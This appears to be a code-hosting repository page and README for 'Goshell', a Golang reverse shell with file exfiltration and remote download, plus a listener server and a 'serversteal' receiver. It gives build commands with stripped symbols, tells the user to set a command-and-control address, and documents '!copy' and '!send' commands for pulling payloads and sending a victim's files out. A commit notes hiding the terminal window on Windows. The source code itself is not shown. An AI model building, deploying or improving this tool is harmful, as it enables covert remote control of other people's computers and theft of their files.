A reverse shell written in Golang with file exfiltration and downloading capabilities
Find a file
meer 50c5806c95 made terminal window more hiddden for windows
made the terminal window come hidden
2026-04-24 13:43:22 +00:00
.gitignore added cross OS support 2026-03-18 13:08:04 +03:00
LICENSE Initial commit 2026-03-17 12:08:05 +00:00
README.md cleaned up useless code 2026-03-18 13:16:40 +03:00
server.go cleaned up useless code 2026-03-18 13:12:20 +03:00
serversteal.go Upload files to "/" 2026-03-17 12:09:01 +00:00
shell.go made terminal window more hiddden for windows 2026-04-24 13:43:22 +00:00

Goshell

A reverse shell written in Golang, with file exfiltrating and downloading capabilities, and cross OS support.

how to set up

1- compile the shell.go file with

Go build -ldflags "-s -w" shell.go

this is the reverse shell client, make sure you change the IP inside to your desired ip/domain 2- compile serversteal.go and server.go, and run serversteal to receive files sent.

how to use

when the compiled shell binary is on a PC, valid commands include 1 !copy, to download a file over HTTP Usage: !copy [Url] [local_file] 2 !send, to exfiltrate a file Usage: !send [server_ip running serversteal] [local_file]

How much different is it from just using Netcat?

questions Goshell Netcat
can run commands?
can download files (requires extra tools)
can exfiltrate files
operating system Anywhere Go can run Unix systems
dependencies static, can run anywhere Go can run Requires Netcat installed

documentation

In shell.go, change the following line

	cncdomain         = "YOUR_CNC_IP"
cncport           = "YOUR_CNC_PORT"

To your preferred IP, Domains like mysite.com are also supported Then build the server.go and serversteal.go file with

Go build -ldflags "-s -w" server.go
Go build -ldflags "-s -w" serversteal.go

Then run the server steal binary and let it listen on the set port to eventually receive files you exfiltrate with the !send command.